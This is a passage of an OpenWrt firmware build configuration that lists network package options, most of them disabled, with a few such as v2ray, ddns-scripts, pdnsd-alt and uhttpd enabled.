CONFIG_PACKAGE_bind-check is not set # CONFIG_PACKAGE_bind-client is not set # CONFIG_PACKAGE_bind-dig is not set # CONFIG_PACKAGE_bind-dnssec is not set # CONFIG_PACKAGE_bind-host is not set # CONFIG_PACKAGE_bind-rndc is not set # CONFIG_PACKAGE_bind-server is not set # CONFIG_PACKAGE_bind-tools is not set # CONFIG_PACKAGE_danish is not set CONFIG_PACKAGE_ddns-scripts=y CONFIG_PACKAGE_ddns-scripts_aliyun=y # CONFIG_PACKAGE_ddns-scripts_cloudflare.com-v4 is not set CONFIG_PACKAGE_ddns-scripts_dnspod=y # CONFIG_PACKAGE_ddns-scripts_freedns_42_pl is not set # CONFIG_PACKAGE_ddns-scripts_godaddy.com-v1 is not set # CONFIG_PACKAGE_ddns-scripts_no-ip_com is not set # CONFIG_PACKAGE_ddns-scripts_nsupdate is not set # CONFIG_PACKAGE_ddns-scripts_route53-v1 is not set # CONFIG_PACKAGE_dhcp-forwarder is not set # CONFIG_PACKAGE_dns2socks is not set # CONFIG_PACKAGE_dnscrypt-proxy is not set # CONFIG_PACKAGE_dnscrypt-proxy-resolvers is not set # CONFIG_PACKAGE_drill is not set # CONFIG_PACKAGE_hostip is not set # CONFIG_PACKAGE_idn is not set # CONFIG_PACKAGE_idn2 is not set # CONFIG_PACKAGE_inadyn is not set # CONFIG_PACKAGE_isc-dhcp-client-ipv4 is not set # CONFIG_PACKAGE_isc-dhcp-client-ipv6 is not set # CONFIG_PACKAGE_isc-dhcp-omshell-ipv4 is not set # CONFIG_PACKAGE_isc-dhcp-omshell-ipv6 is not set # CONFIG_PACKAGE_isc-dhcp-relay-ipv4 is not set # CONFIG_PACKAGE_isc-dhcp-relay-ipv6 is not set # CONFIG_PACKAGE_isc-dhcp-server-ipv4 is not set # CONFIG_PACKAGE_isc-dhcp-server-ipv6 is not set # CONFIG_PACKAGE_kadnode is not set # CONFIG_PACKAGE_knot is not set # CONFIG_PACKAGE_knot-dig is not set # CONFIG_PACKAGE_knot-host is not set # CONFIG_PACKAGE_knot-keymgr is not set # CONFIG_PACKAGE_knot-nsupdate is not set # CONFIG_PACKAGE_knot-tests is not set # CONFIG_PACKAGE_knot-zonecheck is not set # CONFIG_PACKAGE_ldns-examples is not set # CONFIG_PACKAGE_mdns-utils is not set # CONFIG_PACKAGE_mdnsd is not set # CONFIG_PACKAGE_mdnsresponder is not set # CONFIG_PACKAGE_nsd is not set # CONFIG_PACKAGE_nsd-control is not set # CONFIG_PACKAGE_nsd-control-setup is not set # CONFIG_PACKAGE_nsd-nossl is not set # CONFIG_PACKAGE_ohybridproxy is not set # CONFIG_PACKAGE_stubby is not set # CONFIG_PACKAGE_unbound-anchor is not set # CONFIG_PACKAGE_unbound-checkconf is not set # CONFIG_PACKAGE_unbound-control is not set # CONFIG_PACKAGE_unbound-control-setup is not set # CONFIG_PACKAGE_unbound-daemon is not set # CONFIG_PACKAGE_unbound-daemon-heavy is not set # CONFIG_PACKAGE_unbound-host is not set # CONFIG_PACKAGE_wsdd2 is not set # CONFIG_PACKAGE_zonestitcher is not set # # Instant Messaging # # CONFIG_PACKAGE_bitlbee is not set # CONFIG_PACKAGE_irssi is not set # CONFIG_PACKAGE_ngircd is not set # CONFIG_PACKAGE_ngircd-nossl is not set # CONFIG_PACKAGE_prosody is not set # CONFIG_PACKAGE_quassel-irssi is not set # CONFIG_PACKAGE_umurmur-mbedtls is not set # CONFIG_PACKAGE_umurmur-openssl is not set # CONFIG_PACKAGE_znc is not set # # Linux ATM tools # # CONFIG_PACKAGE_atm-aread is not set # CONFIG_PACKAGE_atm-atmaddr is not set # CONFIG_PACKAGE_atm-atmdiag is not set # CONFIG_PACKAGE_atm-atmdump is not set # CONFIG_PACKAGE_atm-atmloop is not set # CONFIG_PACKAGE_atm-atmsigd is not set # CONFIG_PACKAGE_atm-atmswitch is not set # CONFIG_PACKAGE_atm-atmtcp is not set # CONFIG_PACKAGE_atm-awrite is not set # CONFIG_PACKAGE_atm-bus is not set # CONFIG_PACKAGE_atm-debug-tools is not set # CONFIG_PACKAGE_atm-diagnostics is not set # CONFIG_PACKAGE_atm-esi is not set # CONFIG_PACKAGE_atm-ilmid is not set # CONFIG_PACKAGE_atm-ilmidiag is not set # CONFIG_PACKAGE_atm-lecs is not set # CONFIG_PACKAGE_atm-les is not set # CONFIG_PACKAGE_atm-mpcd is not set # CONFIG_PACKAGE_atm-saaldump is not set # CONFIG_PACKAGE_atm-sonetdiag is not set # CONFIG_PACKAGE_atm-svc_recv is not set # CONFIG_PACKAGE_atm-svc_send is not set # CONFIG_PACKAGE_atm-tools is not set # CONFIG_PACKAGE_atm-ttcp_atm is not set # CONFIG_PACKAGE_atm-zeppelin is not set # CONFIG_PACKAGE_br2684ctl is not set # # NMAP Suite # # CONFIG_PACKAGE_ncat is not set # CONFIG_PACKAGE_ncat-ssl is not set # CONFIG_PACKAGE_ndiff is not set # CONFIG_PACKAGE_nmap is not set # CONFIG_PACKAGE_nmap-ssl is not set # CONFIG_PACKAGE_nping is not set # # NTRIP # # CONFIG_PACKAGE_ntripcaster is not set # CONFIG_PACKAGE_ntripclient is not set # CONFIG_PACKAGE_ntripserver is not set # # NeteaseMusic # # CONFIG_PACKAGE_UnblockNeteaseMusic is not set # CONFIG_PACKAGE_UnblockNeteaseMusicGo is not set # # OLSR.org network framework # # CONFIG_PACKAGE_oonf-dlep-proxy is not set # CONFIG_PACKAGE_oonf-dlep-radio is not set # CONFIG_PACKAGE_oonf-init-scripts is not set # CONFIG_PACKAGE_oonf-olsrd2 is not set # # Open vSwitch # # CONFIG_PACKAGE_openvswitch is not set # CONFIG_PACKAGE_openvswitch-ovn-host is not set # CONFIG_PACKAGE_openvswitch-ovn-north is not set # CONFIG_PACKAGE_openvswitch-python is not set # CONFIG_PACKAGE_openvswitch-python3 is not set # # OpenLDAP # # CONFIG_PACKAGE_libopenldap is not set CONFIG_OPENLDAP_DEBUG=y # CONFIG_OPENLDAP_CRYPT is not set # CONFIG_OPENLDAP_MONITOR is not set # CONFIG_OPENLDAP_DB47 is not set # CONFIG_OPENLDAP_ICU is not set # CONFIG_PACKAGE_openldap-server is not set # CONFIG_PACKAGE_openldap-utils is not set # # P2P # # CONFIG_PACKAGE_amule is not set # CONFIG_AMULE_CRYPTOPP_STATIC_LINKING is not set # CONFIG_PACKAGE_antileech is not set # # Printing # # CONFIG_PACKAGE_p910nd is not set # # Project V # CONFIG_PACKAGE_v2ray=y # # V2Ray Configuration # # CONFIG_V2RAY_COMPRESS_GOPROXY is not set # CONFIG_V2RAY_JSON_V2CTL is not set CONFIG_V2RAY_JSON_INTERNAL=y # CONFIG_V2RAY_JSON_NONE is not set CONFIG_V2RAY_EXCLUDE_V2CTL=y CONFIG_V2RAY_EXCLUDE_ASSETS=y CONFIG_V2RAY_COMPRESS_UPX=y CONFIG_V2RAY_DISABLE_NONE=y # CONFIG_V2RAY_DISABLE_CUSTOM is not set # CONFIG_PACKAGE_v2ray-plugin is not set # CONFIG_v2ray-plugin_INCLUDE_GOPROXY is not set # # Routing and Redirection # # CONFIG_PACKAGE_babel-pinger is not set # CONFIG_PACKAGE_babeld is not set # CONFIG_PACKAGE_batmand is not set # CONFIG_PACKAGE_bcp38 is not set # CONFIG_PACKAGE_bird1-ipv4 is not set # CONFIG_PACKAGE_bird1-ipv4-uci is not set # CONFIG_PACKAGE_bird1-ipv6 is not set # CONFIG_PACKAGE_bird1-ipv6-uci is not set # CONFIG_PACKAGE_bird1c-ipv4 is not set # CONFIG_PACKAGE_bird1c-ipv6 is not set # CONFIG_PACKAGE_bird1cl-ipv4 is not set # CONFIG_PACKAGE_bird1cl-ipv6 is not set # CONFIG_PACKAGE_bird2 is not set # CONFIG_PACKAGE_bird2c is not set # CONFIG_PACKAGE_bird2cl is not set # CONFIG_PACKAGE_bmx6 is not set # CONFIG_PACKAGE_bmx7 is not set # CONFIG_PACKAGE_cjdns is not set # CONFIG_PACKAGE_cjdns-tests is not set # CONFIG_PACKAGE_dcwapd is not set # CONFIG_PACKAGE_devlink is not set # CONFIG_PACKAGE_genl is not set # CONFIG_PACKAGE_igmpproxy is not set # CONFIG_PACKAGE_ip-bridge is not set CONFIG_PACKAGE_ip-full=y # CONFIG_PACKAGE_ip-tiny is not set # CONFIG_PACKAGE_lldpd is not set # CONFIG_PACKAGE_mcproxy is not set # CONFIG_PACKAGE_mrmctl is not set # CONFIG_PACKAGE_mwan3 is not set # CONFIG_PACKAGE_nstat is not set # CONFIG_PACKAGE_olsrd is not set # CONFIG_PACKAGE_prince is not set # CONFIG_PACKAGE_quagga is not set # CONFIG_PACKAGE_rdma is not set # CONFIG_PACKAGE_relayd is not set # CONFIG_PACKAGE_ss is not set # CONFIG_PACKAGE_sslh is not set # CONFIG_PACKAGE_tc is not set # CONFIG_PACKAGE_tcpproxy is not set # CONFIG_PACKAGE_vis is not set # # SSH # # CONFIG_PACKAGE_autossh is not set # CONFIG_PACKAGE_openssh-client is not set # CONFIG_PACKAGE_openssh-client-utils is not set # CONFIG_PACKAGE_openssh-keygen is not set # CONFIG_PACKAGE_openssh-moduli is not set # CONFIG_PACKAGE_openssh-server is not set # CONFIG_PACKAGE_openssh-server-pam is not set # CONFIG_PACKAGE_openssh-sftp-avahi-service is not set # CONFIG_PACKAGE_openssh-sftp-client is not set # CONFIG_PACKAGE_openssh-sftp-server is not set # CONFIG_PACKAGE_sshtunnel is not set # # THC-IPv6 attack and analyzing toolkit # # CONFIG_PACKAGE_thc-ipv6-address6 is not set # CONFIG_PACKAGE_thc-ipv6-alive6 is not set # CONFIG_PACKAGE_thc-ipv6-covert-send6 is not set # CONFIG_PACKAGE_thc-ipv6-covert-send6d is not set # CONFIG_PACKAGE_thc-ipv6-denial6 is not set # CONFIG_PACKAGE_thc-ipv6-detect-new-ip6 is not set # CONFIG_PACKAGE_thc-ipv6-detect-sniffer6 is not set # CONFIG_PACKAGE_thc-ipv6-dnsdict6 is not set # CONFIG_PACKAGE_thc-ipv6-dnsrevenum6 is not set # CONFIG_PACKAGE_thc-ipv6-dos-new-ip6 is not set # CONFIG_PACKAGE_thc-ipv6-dump-router6 is not set # CONFIG_PACKAGE_thc-ipv6-exploit6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-advertise6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-dhcps6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-dns6d is not set # CONFIG_PACKAGE_thc-ipv6-fake-dnsupdate6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-mipv6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-mld26 is not set # CONFIG_PACKAGE_thc-ipv6-fake-mld6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-mldrouter6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-router26 is not set # CONFIG_PACKAGE_thc-ipv6-fake-router6 is not set # CONFIG_PACKAGE_thc-ipv6-fake-solicitate6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-advertise6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-dhcpc6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-mld26 is not set # CONFIG_PACKAGE_thc-ipv6-flood-mld6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-mldrouter6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-router26 is not set # CONFIG_PACKAGE_thc-ipv6-flood-router6 is not set # CONFIG_PACKAGE_thc-ipv6-flood-solicitate6 is not set # CONFIG_PACKAGE_thc-ipv6-fragmentation6 is not set # CONFIG_PACKAGE_thc-ipv6-fuzz-dhcpc6 is not set # CONFIG_PACKAGE_thc-ipv6-fuzz-dhcps6 is not set # CONFIG_PACKAGE_thc-ipv6-fuzz-ip6 is not set # CONFIG_PACKAGE_thc-ipv6-implementation6 is not set # CONFIG_PACKAGE_thc-ipv6-implementation6d is not set # CONFIG_PACKAGE_thc-ipv6-inverse-lookup6 is not set # CONFIG_PACKAGE_thc-ipv6-kill-router6 is not set # CONFIG_PACKAGE_thc-ipv6-ndpexhaust6 is not set # CONFIG_PACKAGE_thc-ipv6-node-query6 is not set # CONFIG_PACKAGE_thc-ipv6-parasite6 is not set # CONFIG_PACKAGE_thc-ipv6-passive-discovery6 is not set # CONFIG_PACKAGE_thc-ipv6-randicmp6 is not set # CONFIG_PACKAGE_thc-ipv6-redir6 is not set # CONFIG_PACKAGE_thc-ipv6-rsmurf6 is not set # CONFIG_PACKAGE_thc-ipv6-sendpees6 is not set # CONFIG_PACKAGE_thc-ipv6-sendpeesmp6 is not set # CONFIG_PACKAGE_thc-ipv6-smurf6 is not set # CONFIG_PACKAGE_thc-ipv6-thcping6 is not set # CONFIG_PACKAGE_thc-ipv6-toobig6 is not set # CONFIG_PACKAGE_thc-ipv6-trace6 is not set # # Time Synchronization # # CONFIG_PACKAGE_chrony is not set # CONFIG_PACKAGE_htpdate is not set # CONFIG_PACKAGE_linuxptp is not set # CONFIG_PACKAGE_ntp-keygen is not set # CONFIG_PACKAGE_ntp-utils is not set # CONFIG_PACKAGE_ntpclient is not set # CONFIG_PACKAGE_ntpd is not set # CONFIG_PACKAGE_ntpdate is not set # # VPN # # CONFIG_PACKAGE_chaosvpn is not set # CONFIG_PACKAGE_fastd is not set # CONFIG_PACKAGE_ipsec-tools is not set # CONFIG_PACKAGE_n2n-edge is not set # CONFIG_PACKAGE_n2n-supernode is not set # CONFIG_PACKAGE_ocserv is not set # CONFIG_PACKAGE_openconnect is not set # CONFIG_PACKAGE_opennhrp is not set # CONFIG_PACKAGE_openvpn-easy-rsa is not set # CONFIG_PACKAGE_openvpn-mbedtls is not set # CONFIG_PACKAGE_openvpn-nossl is not set # CONFIG_PACKAGE_openvpn-openssl is not set # CONFIG_PACKAGE_pptpd is not set # CONFIG_PACKAGE_softethervpn-base is not set # CONFIG_PACKAGE_softethervpn-bridge is not set # CONFIG_PACKAGE_softethervpn-client is not set # CONFIG_PACKAGE_softethervpn-server is not set # CONFIG_PACKAGE_softethervpn5-bridge is not set # CONFIG_PACKAGE_softethervpn5-client is not set # CONFIG_PACKAGE_softethervpn5-server is not set # CONFIG_PACKAGE_sstp-client is not set # CONFIG_PACKAGE_strongswan is not set # CONFIG_PACKAGE_strongswan-charon is not set # CONFIG_PACKAGE_strongswan-charon-cmd is not set # CONFIG_PACKAGE_strongswan-default is not set # CONFIG_PACKAGE_strongswan-ipsec is not set # CONFIG_PACKAGE_strongswan-isakmp is not set # CONFIG_PACKAGE_strongswan-libtls is not set # CONFIG_PACKAGE_strongswan-minimal is not set # CONFIG_PACKAGE_strongswan-mod-addrblock is not set # CONFIG_PACKAGE_strongswan-mod-aes is not set # CONFIG_PACKAGE_strongswan-mod-af-alg is not set # CONFIG_PACKAGE_strongswan-mod-agent is not set # CONFIG_PACKAGE_strongswan-mod-attr is not set # CONFIG_PACKAGE_strongswan-mod-attr-sql is not set # CONFIG_PACKAGE_strongswan-mod-blowfish is not set # CONFIG_PACKAGE_strongswan-mod-ccm is not set # CONFIG_PACKAGE_strongswan-mod-cmac is not set # CONFIG_PACKAGE_strongswan-mod-connmark is not set # CONFIG_PACKAGE_strongswan-mod-constraints is not set # CONFIG_PACKAGE_strongswan-mod-coupling is not set # CONFIG_PACKAGE_strongswan-mod-ctr is not set # CONFIG_PACKAGE_strongswan-mod-curl is not set # CONFIG_PACKAGE_strongswan-mod-curve25519 is not set # CONFIG_PACKAGE_strongswan-mod-des is not set # CONFIG_PACKAGE_strongswan-mod-dhcp is not set # CONFIG_PACKAGE_strongswan-mod-dnskey is not set # CONFIG_PACKAGE_strongswan-mod-duplicheck is not set # CONFIG_PACKAGE_strongswan-mod-eap-identity is not set # CONFIG_PACKAGE_strongswan-mod-eap-md5 is not set # CONFIG_PACKAGE_strongswan-mod-eap-mschapv2 is not set # CONFIG_PACKAGE_strongswan-mod-eap-radius is not set # CONFIG_PACKAGE_strongswan-mod-eap-tls is not set # CONFIG_PACKAGE_strongswan-mod-farp is not set # CONFIG_PACKAGE_strongswan-mod-fips-prf is not set # CONFIG_PACKAGE_strongswan-mod-forecast is not set # CONFIG_PACKAGE_strongswan-mod-gcm is not set # CONFIG_PACKAGE_strongswan-mod-gcrypt is not set # CONFIG_PACKAGE_strongswan-mod-gmp is not set # CONFIG_PACKAGE_strongswan-mod-gmpdh is not set # CONFIG_PACKAGE_strongswan-mod-ha is not set # CONFIG_PACKAGE_strongswan-mod-hmac is not set # CONFIG_PACKAGE_strongswan-mod-kernel-libipsec is not set # CONFIG_PACKAGE_strongswan-mod-kernel-netlink is not set # CONFIG_PACKAGE_strongswan-mod-ldap is not set # CONFIG_PACKAGE_strongswan-mod-led is not set # CONFIG_PACKAGE_strongswan-mod-load-tester is not set # CONFIG_PACKAGE_strongswan-mod-md4 is not set # CONFIG_PACKAGE_strongswan-mod-md5 is not set # CONFIG_PACKAGE_strongswan-mod-mysql is not set # CONFIG_PACKAGE_strongswan-mod-nonce is not set # CONFIG_PACKAGE_strongswan-mod-openssl is not set # CONFIG_PACKAGE_strongswan-mod-pem is not set # CONFIG_PACKAGE_strongswan-mod-pgp is not set # CONFIG_PACKAGE_strongswan-mod-pkcs1 is not set # CONFIG_PACKAGE_strongswan-mod-pkcs11 is not set # CONFIG_PACKAGE_strongswan-mod-pkcs12 is not set # CONFIG_PACKAGE_strongswan-mod-pkcs7 is not set # CONFIG_PACKAGE_strongswan-mod-pkcs8 is not set # CONFIG_PACKAGE_strongswan-mod-pubkey is not set # CONFIG_PACKAGE_strongswan-mod-random is not set # CONFIG_PACKAGE_strongswan-mod-rc2 is not set # CONFIG_PACKAGE_strongswan-mod-resolve is not set # CONFIG_PACKAGE_strongswan-mod-revocation is not set # CONFIG_PACKAGE_strongswan-mod-sha1 is not set # CONFIG_PACKAGE_strongswan-mod-sha2 is not set # CONFIG_PACKAGE_strongswan-mod-smp is not set # CONFIG_PACKAGE_strongswan-mod-socket-default is not set # CONFIG_PACKAGE_strongswan-mod-socket-dynamic is not set # CONFIG_PACKAGE_strongswan-mod-sql is not set # CONFIG_PACKAGE_strongswan-mod-sqlite is not set # CONFIG_PACKAGE_strongswan-mod-sshkey is not set # CONFIG_PACKAGE_strongswan-mod-stroke is not set # CONFIG_PACKAGE_strongswan-mod-test-vectors is not set # CONFIG_PACKAGE_strongswan-mod-uci is not set # CONFIG_PACKAGE_strongswan-mod-unity is not set # CONFIG_PACKAGE_strongswan-mod-updown is not set # CONFIG_PACKAGE_strongswan-mod-vici is not set # CONFIG_PACKAGE_strongswan-mod-whitelist is not set # CONFIG_PACKAGE_strongswan-mod-x509 is not set # CONFIG_PACKAGE_strongswan-mod-xauth-eap is not set # CONFIG_PACKAGE_strongswan-mod-xauth-generic is not set # CONFIG_PACKAGE_strongswan-mod-xcbc is not set # CONFIG_PACKAGE_strongswan-pki is not set # CONFIG_PACKAGE_strongswan-scepclient is not set # CONFIG_PACKAGE_strongswan-swanctl is not set # CONFIG_PACKAGE_tinc is not set # CONFIG_PACKAGE_uanytun is not set # CONFIG_PACKAGE_uanytun-nettle is not set # CONFIG_PACKAGE_uanytun-nocrypt is not set # CONFIG_PACKAGE_uanytun-sslcrypt is not set # CONFIG_PACKAGE_vpnc is not set # CONFIG_PACKAGE_vpnc-scripts is not set # CONFIG_PACKAGE_wireguard is not set # CONFIG_PACKAGE_xl2tpd is not set # CONFIG_PACKAGE_zerotier is not set # # Version Control Systems # # CONFIG_PACKAGE_fossil is not set # CONFIG_PACKAGE_git is not set # CONFIG_PACKAGE_git-http is not set # CONFIG_PACKAGE_subversion-client is not set # CONFIG_PACKAGE_subversion-libs is not set # CONFIG_PACKAGE_subversion-server is not set # # WWAN # # CONFIG_PACKAGE_adb-enablemodem is not set # CONFIG_PACKAGE_comgt is not set # CONFIG_PACKAGE_comgt-directip is not set # CONFIG_PACKAGE_comgt-ncm is not set # CONFIG_PACKAGE_uqmi is not set # # Web Servers/Proxies # # CONFIG_PACKAGE_apache is not set # CONFIG_PACKAGE_cgi-io is not set # CONFIG_PACKAGE_clamav is not set # CONFIG_PACKAGE_e2guardian is not set # CONFIG_PACKAGE_freshclam is not set # CONFIG_PACKAGE_frpc is not set # CONFIG_PACKAGE_frps is not set # CONFIG_PACKAGE_haproxy is not set # CONFIG_PACKAGE_haproxy-nossl is not set # CONFIG_PACKAGE_kcptun-client is not set # CONFIG_PACKAGE_kcptun-server is not set # CONFIG_PACKAGE_lighttpd is not set # CONFIG_PACKAGE_nginx is not set # CONFIG_PACKAGE_nginx-all-module is not set # CONFIG_PACKAGE_nginx-mod-luci is not set # CONFIG_PACKAGE_nginx-mod-luci-ssl is not set # CONFIG_PACKAGE_nginx-ssl is not set CONFIG_PACKAGE_pdnsd-alt=y # CONFIG_PACKAGE_polipo is not set # CONFIG_PACKAGE_privoxy is not set # CONFIG_PACKAGE_radicale-py2 is not set # CONFIG_PACKAGE_radicale-py3 is not set # CONFIG_PACKAGE_radicale2 is not set # CONFIG_PACKAGE_radicale2-examples is not set # CONFIG_PACKAGE_radicale2-src is not set # CONFIG_PACKAGE_shadowsocks-client is not set # CONFIG_PACKAGE_shadowsocks-libev-ss-local is not set # CONFIG_PACKAGE_shadowsocks-libev-ss-redir is not set # CONFIG_PACKAGE_shadowsocks-libev-ss-rules is not set # CONFIG_PACKAGE_shadowsocks-libev-ss-server is not set # CONFIG_PACKAGE_shadowsocks-libev-ss-tunnel is not set # CONFIG_PACKAGE_shadowsocksr-libev is not set # CONFIG_PACKAGE_shadowsocksr-libev-alt is not set # CONFIG_PACKAGE_shadowsocksr-libev-server is not set # CONFIG_PACKAGE_shadowsocksr-libev-ssr-local is not set # CONFIG_PACKAGE_sockd is not set # CONFIG_PACKAGE_socksify is not set # CONFIG_PACKAGE_spawn-fcgi is not set # CONFIG_PACKAGE_squid is not set # CONFIG_PACKAGE_srelay is not set # CONFIG_PACKAGE_tinyproxy is not set CONFIG_PACKAGE_uhttpd=y # CONFIG_PACKAGE_uhttpd-mod-lua is not set CONFIG_PACKAGE_uhttpd-mod-ubus=y # CONFIG_PACKAGE_uwsgi-cgi is not set # CONFIG_PACKAGE_uwsgi-cgi-luci-support is not set # # Wireless # # CONFIG_PACKAGE_aircrack-ng is not set # CONFIG_PACKAGE_airmon-ng is not set # # dial-in/up # # CONFIG_PACKAGE_rp-pppoe-common is not set # CONFIG_PACKAGE_rp-pppoe-relay is not set # CONFIG_PACKAGE_rp-pppoe-server is not set # # tcprelay # # CONFIG_PACKAGE_tcpbridge is not set # CONFIG_PACKAGE_tcpcapinfo is not set # CONFIG_PACKAGE_tcpliveplay is not set # CONFIG_PACKAGE_tcpprep is not set # CONFIG_PACKAGE_tcpreplay is not set # CONFIG_PACKAGE_tcpreplay-all is not set # CONFIG_PACKAGE_tcpreplay-edit is not set # CONFIG_PACKAGE_tcprewrite is not set # # wireless # # CONFIG_PACKAGE_dynapoint is not set # CONFIG_PACKAGE_horst is not set # CONFIG_PACKAGE_kismet-client is not set # CONFIG_PACKAGE_kismet-drone is not set # CONFIG_PACKAGE_kismet-server is not set # CONFIG_PACKAGE_pixiewps is not set # CONFIG_PACKAGE_reaver is not set # CONFIG_PACKAGE_wavemon is not set # CONFIG_PACKAGE_wifischedule is not set # CONFIG_PACKAGE_464xlat is not set # CONFIG_PACKAGE_6in4 is not set # CONFIG_PACKAGE_6rd is not set # CONFIG_PACKAGE_6to4 is not set # CONFIG_PACKAGE_acme is not set # CONFIG_PACKAGE_acme-dnsapi is not set # CONFIG_PACKAGE_adblock is not set # CONFIG_PACKAGE_adbyby is not set # CONFIG_PACKAGE_addrwatch is not set # CONFIG_PACKAGE_ahcpd is not set # CONFIG_PACKAGE_alfred is not set # CONFIG_PACKAGE_apcupsd is not set # CONFIG_PACKAGE_apcupsd-cgi is not set # CONFIG_PACKAGE_apinger is not set # CONFIG_PACKAGE_arp-scan is not set # CONFIG_PACKAGE_baidupcs-web is not set # CONFIG_PACKAGE_banip is not set # CONFIG_PACKAGE_batctl-default is not set # CONFIG_PACKAGE_batctl-full is not set # CONFIG_PACKAGE_batctl-tiny is not set # CONFIG_PACKAGE_beanstalkd is not set # CONFIG_PACKAGE_bmon is not set # CONFIG_PACKAGE_bwm-ng is not set # CONFIG_PACKAGE_chat is not set # CONFIG_PACKAGE_cifsmount is not set # CONFIG_PACKAGE_coap-server is not set # CONFIG_PACKAGE_conserver is not set # CONFIG_PACKAGE_cshark is not set # CONFIG_PACKAGE_daemonlogger is not set # CONFIG_PACKAGE_darkstat is not set # CONFIG_PACKAGE_dhcpcd is not set # CONFIG_PACKAGE_dmapd is not set # CONFIG_PACKAGE_ds-lite is not set # CONFIG_PACKAGE_dsmboot is not set # CONFIG_PACKAGE_eapol-test is not set # CONFIG_PACKAGE_eapol-test-openssl is not set # CONFIG_PACKAGE_eapol-test-wolfssl is not set # CONFIG_PACKAGE_esniper is not set # CONFIG_PACKAGE_etherwake is not set # CONFIG_PACKAGE_ethtool is not set # CONFIG_PACKAGE_fakeidentd is not set # CONFIG_PACKAGE_foolsm is not set # CONFIG_PACKAGE_fping is not set # CONFIG_PACKAGE_gnunet is not set # CONFIG_PACKAGE_gre is not set # CONFIG_PACKAGE_hnet-full is not set # CONFIG_PACKAGE_hnet-full-l2tp is not set # CONFIG_PACKAGE_hnet-full-secure is not set # CONFIG_PACKAGE_hnetd-nossl is not set # CONFIG_PACKAGE_hnetd-openssl is not set # CONFIG_PACKAGE_hostapd is not set # CONFIG_PACKAGE_hostapd-basic is not set CONFIG_PACKAGE_hostapd-common=y # CONFIG_PACKAGE_hostapd-mini is not set # CONFIG_PACKAGE_hostapd-openssl is not set # CONFIG_PACKAGE_hostapd-utils is not set # CONFIG_PACKAGE_hostapd-wolfssl is not set # CONFIG_PACKAGE_httping is not set # CONFIG_PACKAGE_httping-nossl is not set # CONFIG_PACKAGE_https_dns_proxy is not set # CONFIG_PACKAGE_i2pd is not set # CONFIG_PACKAGE_ibrdtn-tools is not set # CONFIG_PACKAGE_ibrdtnd is not set # CONFIG_PACKAGE_ifstat is not set # CONFIG_PACKAGE_iftop is not set # CONFIG_PACKAGE_iiod is not set # CONFIG_PACKAGE_iotivity is not set # CONFIG_PACKAGE_iotivity-cpp is not set # CONFIG_PACKAGE_iotivity-example-garage is not set # CONFIG_PACKAGE_iotivity-example-simple is not set # CONFIG_PACKAGE_iotivity-oic-middle is not set # CONFIG_PACKAGE_iotivity-resource-container-hue is not set # CONFIG_PACKAGE_iotivity-resource-container-lib is not set # CONFIG_PACKAGE_iotivity-resource-container-sample is not set # CONFIG_PACKAGE_iotivity-resource-directory-lib is not set # CONFIG_PACKAGE_iperf is not set # CONFIG_PACKAGE_iperf3 is not set # CONFIG_PACKAGE_iperf3-ssl is not set # CONFIG_PACKAGE_ipip is not set CONFIG_PACKAGE_ipset=y # CONFIG_PACKAGE_ipset-dns is not set # CONFIG_PACKAGE_ipset-lists is not set # CONFIG_PACKAGE_ipt2socks is not set # CONFIG_PACKAGE_iptraf-ng is not set # CONFIG_PACKAGE_iputils-arping is not set # CONFIG_PACKAGE_iputils-clockdiff is not set # CONFIG_PACKAGE_iputils-ping is not set # CONFIG_PACKAGE_iputils-ping6 is not set # CONFIG_PACKAGE_iputils-tftpd is not set # CONFIG_PACKAGE_iputils-tracepath is not set # CONFIG_PACKAGE_iputils-tracepath6 is not set # CONFIG_PACKAGE_iputils-traceroute6 is not set CONFIG_PACKAGE_iw=y # CONFIG_PACKAGE_iw-full is not set # CONFIG_PACKAGE_jool is not set # CONFIG_PACKAGE_jool-tools is not set # CONFIG_PACKAGE_keepalived is not set # CONFIG_PACKAGE_knxd is not set # CONFIG_PACKAGE_kplex is not set # CONFIG_PACKAGE_krb5-client is not set # CONFIG_PACKAGE_krb5-libs is not set # CONFIG_PACKAGE_krb5-server is not set CONFIG_PACKAGE_libipset=y # CONFIG_PACKAGE_linknx is not set # CONFIG_PACKAGE_lispd is not set # CONFIG_PACKAGE_mac-telnet-client is not set # CONFIG_PACKAGE_mac-telnet-discover is not set # CONFIG_PACKAGE_mac-telnet-ping is not set # CONFIG_PACKAGE_mac-telnet-server is not set # CONFIG_PACKAGE_map is not set # CONFIG_PACKAGE_memcached is not set # CONFIG_PACKAGE_microsocks is not set # CONFIG_PACKAGE_mii-tool is not set # CONFIG_PACKAGE_mikrotik-btest is not set # CONFIG_PACKAGE_mini_snmpd is not set # CONFIG_PACKAGE_minimalist-pcproxy is not set # CONFIG_PACKAGE_modemmanager is not set # CONFIG_PACKAGE_mosquitto-client-nossl is not set # CONFIG_PACKAGE_mosquitto-client-ssl is not set # CONFIG_PACKAGE_mosquitto-nossl is not set # CONFIG_PACKAGE_mosquitto-ssl is not set # CONFIG_PACKAGE_mrd6 is not set # CONFIG_PACKAGE_mtr is not set # CONFIG_PACKAGE_nbd is not set # CONFIG_PACKAGE_nbd-server is not set # CONFIG_PACKAGE_ncp is not set # CONFIG_PACKAGE_ndppd is not set # CONFIG_PACKAGE_netcat is not set # CONFIG_PACKAGE_netdiscover is not set # CONFIG_PACKAGE_netperf is not set # CONFIG_PACKAGE_nextdns is not set CONFIG_PACKAGE_nlbwmon=y # CONFIG_PACKAGE_noddos is not set # CONFIG_PACKAGE_noping is not set # CONFIG_PACKAGE_npc is not set # CONFIG_PACKAGE_nut is not set # CONFIG_PACKAGE_obfsproxy is not set # CONFIG_PACKAGE_obfsproxy-src is not set # CONFIG_PACKAGE_odhcp6c is not set # CONFIG_PACKAGE_odhcpd is not set # CONFIG_PACKAGE_odhcpd-ipv6only is not set # CONFIG_PACKAGE_ola is not set # CONFIG_PACKAGE_omcproxy is not set # CONFIG_PACKAGE_oping is not set # CONFIG_PACKAGE_pagekitec is not set # CONFIG_PACKAGE_pen is not 